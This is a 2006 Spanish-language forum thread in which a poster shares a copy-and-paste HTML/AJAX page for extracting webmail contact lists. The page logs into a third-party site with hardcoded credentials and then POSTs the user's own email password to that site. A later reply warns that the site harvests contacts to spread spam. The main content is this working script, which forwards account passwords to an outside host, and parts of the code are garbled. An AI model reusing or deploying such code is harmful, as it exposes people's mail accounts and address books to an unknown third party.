Foros del Web » Programando para Internet » Javascript » Frameworks JS »

Lista de contactos del MSN, Yahoo, Gmail, AOL extraidos con AJAX... Si se puede Sacar

Estas en el tema de Lista de contactos del MSN, Yahoo, Gmail, AOL extraidos con AJAX... Si se puede Sacar en el foro de Frameworks JS en Foros del Web. Bueno... como no tenia nada que hacer.. se me ocurrio hacer algo... asi que viendo una web note que al escribir tu login y password ...
  #1 (permalink)  
Antiguo 18/07/2006, 15:33
Avatar de richardinj  
Fecha de Ingreso: enero-2005
Ubicación: Ciber Espacio
Mensajes: 2.180
Antigüedad: 19 años, 3 meses
Puntos: 11
Mensaje Lista de contactos del MSN, Yahoo, Gmail, AOL extraidos con AJAX... Si se puede Sacar

Bueno... como no tenia nada que hacer.. se me ocurrio hacer algo... asi que viendo una web note que al escribir tu login y password de hotmail o gmail, etc... te devolvia la lista de emails...

Me puse a cranear y se me ocurrió hacer algo simple en AJAX...

Lo malo esque solo funciona a modo local.. porque en el Host sale error de permiso denegado...

pero aca les dejo el ejemplo...

Copia y pega este codigo en el bloc de notas y luego guardalo como lista.html ... si quieres ver de otras cuentas cambia el codigo que dice script=Hotmail por Yahoo,Gmail,AOL o MSN

EL PROCESO AVECES TARDA UN POCO.. ESO DEPENDE MUCHO DE TU VELOCIDAD DE CONEXION...


Cita:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>ListMail</title>
<script language="JavaScript" type="text/javascript">
function AJAX2()
{
var ajaxs = ["Msxml2.XMLHTTP","Msxml2.XMLHTTP.4.0","Msxml2.XMLH TTP.5.0","Msxml2.XMLHTTP.3.0","Microsoft.XMLHTTP"];
var ajax = false;
for(var i=0 ; !ajax && i<ajaxs.length ; i++){
try{ ajax = new ActiveXObject(ajaxs[i]); }
catch(e) { ajax = false; }
}
if(!ajax && typeof XMLHttpRequest!='undefined') {
ajax = new XMLHttpRequest();
}
return ajax;
}
function CARGARDATOS(pagina,capa, parametros){
var ajax = AJAX2();
TABLA="";
if(!ajax){
alert("No se puede ejecutar este proceso: Error de navegador. Comuníquese con el Administrador y reporte este problema");
return false;
}

document.getElementById(capa).innerHTML = "Entrando al sistema Hotmail y extrayendo contactos... <br><br> <img src='contador.gif'> ";
ajax.open("POST",pagina,true);
ajax.onreadystatechange = function() {
if (ajax.readyState == 4) {

TABLA=ajax.responseText;
posicionI=TABLA.indexOf("<tbody>",8100);
posicionF=TABLA.indexOf("</tbody></table>");

if (posicionI=="-1")
{
document.getElementById(capa).innerHTML = "Contraseña Hotmail no válida";
return 0;
}

if (posicionF=="-1")
{
document.getElementById(capa).innerHTML = "Contraseña Hotmail no válida";
return 0;
}

cadena=TABLA.substr(posicionI,posicionF-posicionI+16);

document.getElementById(capa).innerHTML = "<table align='center' width='600' align='left' cellpadding='2' cellspacing='1' bordercolor='#FFFFFF' bgcolor='#FFFFFF'>" +cadena;

}
}

ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajax.send(parametros);
}

function llamar(obj)
{

pagina="http://www.cumplealerta.com/login.php";
capa="lista";
parametros="[email protected]&password=123456";

var ajax = AJAX2();
if(!ajax){
alert("No se puede ejecutar este proceso: Error de navegador. Comuníquese con el Administrador y reporte este problema");
return false;
}

document.getElementById(capa).innerHTML = "Realizando Ataque al sistema... XD <br><br> <img src='robot.gif'> ";
ajax.open("POST",pagina,true);
ajax.onreadystatechange = function() {
if (ajax.readyState == 4) {

CARGARDATOS("<A href="http://www.cumplealerta.com/importcontacts.php",capa">http://www.cumplealerta.com/importcontacts.php",capa,"email_import="+obj.user. value+"&password_import="+obj.pass.value+"&script= Hotmail&login=login")

}
}

ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajax.send(parametros);

}

</script>

</head>
<body>
<div>
<div align="center">
<form id="form" name="form" method="post" action="">
<label>Por defecto es HOTMAIL
<br />
user de Cuenta:
<input name="user" type="text" id="user" value="" />
</label>
<label> <br />
pass de Cuenta:
<input name="pass" type="password" id="pass" value="" />
</label>
<p>
<input name="Ver" type="button" onclick="llamar(this.form);" value="MOSTRAR LISTA" />
</p>
</form>
</div>
</div>
<div>&nbsp;</div>
<div align="center" id="lista">&nbsp;</div>
<div align="center">
<p>
</p>
</div>
</body>
</html>

Si tiene mas ideas de mejorar esto, me avisan...

Saludos.
  #2 (permalink)  
Antiguo 19/07/2006, 15:51
Avatar de richardinj  
Fecha de Ingreso: enero-2005
Ubicación: Ciber Espacio
Mensajes: 2.180
Antigüedad: 19 años, 3 meses
Puntos: 11
Algunos de ustedes les funciona no?
  #3 (permalink)  
Antiguo 06/11/2007, 10:28
 
Fecha de Ingreso: noviembre-2007
Mensajes: 1
Antigüedad: 16 años, 5 meses
Puntos: 0
Re: Lista de contactos del MSN, Yahoo, Gmail, AOL extraidos con AJAX... Si se puede S

Hola una consulta como puedo trabajar lo mismo en php. voy a probar y ver la condificacion gracias.
  #4 (permalink)  
Antiguo 07/11/2007, 17:30
Avatar de MaBoRaK  
Fecha de Ingreso: abril-2003
Ubicación: La Paz - Bolivia
Mensajes: 2.003
Antigüedad: 21 años
Puntos: 35
Re: Lista de contactos del MSN, Yahoo, Gmail, AOL extraidos con AJAX... Si se puede S

loading.............


Este tiene que ser un robot haciendo SPAM.

http://www.cumplealerta.com/login.php <-- en cumplealerta sacar lista de hotmail o gmail? BASURA!!! pones ahi tu mail para que te saquen a ti los contactos y propagar su basura de SPAM CUMPLEALERTA... es todo...


connection closed.
__________________

Maborak Technologies
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Tema Cerrado

SíEste tema le ha gustado a 1 personas (incluyéndote)




La zona horaria es GMT -6. Ahora son las 20:12.